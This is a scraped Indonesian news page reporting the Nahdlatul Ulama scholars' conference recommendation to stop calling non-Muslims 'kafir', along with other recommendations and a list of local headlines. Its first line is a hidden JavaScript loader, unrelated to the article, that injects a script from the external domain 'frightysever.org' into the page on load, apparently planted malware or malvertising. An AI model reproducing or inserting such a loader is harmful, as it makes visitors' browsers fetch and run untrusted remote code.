(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Rekomendasi Munas Ulama NU: Jangan Sebut Kafir kepada Nonmuslim


BANJAR, Munas Alim Ulama dan Konferensi Besar NU di Ponpes Miftahul Huda Al Azhar, Citangkolo, Banjar, Jawa Barat resmi ditutup. Ketua Umum PBNU Said Aqil Siraj menyampaikan rekomendasi komisi-komisi hasil rapat pleno Munas Ulama, salah satunya tidak menyebut kafir kepada nonmuslim.

Dilansir detik.com, Said Aqil mengatakan istilah kafir tidak dikenal dalam sistem kewarganegaraan pada suatu negara dan bangsa. Maka setiap warga negara memiliki hak yang sama dimata konstitusi. Karena itu yang ada adalah nonmuslim, bukan kafir.

Said Aqil mengisahkan, istilah kafir berlaku ketika Nabi Muhammad di Mekah, untuk menyebut orang yang menyembah berhala, tidak memiliki kitab suci dan agama yang benar. “Tapi Ketika Nabi Muhammad hijrah ke Madinah, tidak ada istilah kafir bagi warga Madinah. Ada tiga suku nonmuslim di madinah, di sana disebut nonmuslim, tidak disebut kafir,” kata Said menjelaskan di lokasi, Jumat (1/3).

Rekomendasi kedua, Said menjelaskan berdasarkan konstitusi, tidak boleh ada lembaga yang mengeluarkan fatwa kecuali Mahkamah Agung. Karena itu, hasil musyawarah ini juga bukan fatwa.

“Kalau ini hasil musyawarah ulama, bukan fatwa. Karena Indonesia bukan negara agama beda dengan negara timur tengah yang ada mufti. Namun sejurus dengan itu. Tidak boleh ada warga negara Indonesia yang tidak beragama. Maka ada Kementerian Agama tapi tidak ada darul fatwa,” ujarnya.

Selain itu, ada tiga rekomendasi lainnya yaitu soal money game, sampah plastik, dan optimalisasi peran NU untuk turut serta menyelesaikan konflik internasional dan mewujudkan perdamaian dunia dengan konsep Islam Nusantara.

Sekretaris LBMNU Jatim yang juga tim perumus, Ahmad Muntaha mengatakan bahwa nonmuslim dalam suatu negara bangsa tidak dapat masuk dalam kategori kafir. Karenanya, kata dia, dalam kehidupan berbangsa dan bernegara mereka adalah warga negara atau muwathin yang mempunyai kewajiban dan hak yang sama dan setara sebagaimana lainnya.

Ide yang disampaikan oleh delegasi Jawa timur ini mendapat sambutan positif dari para kiai. “Jangan sebut kafir kepada nonmuslim. Ini juga melatih bahwa salam konteks sosial kemasyarakatan seorang muslim semestinya tidak memanggil nonmuslim dengan panggilan yang sensitif ‘hai kafir’,” tutur Ahmad.(idh/fjp/dct)

Reporter:idh/fjp/dct
Editor:Cell

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

12 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

15 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

18 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

20 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.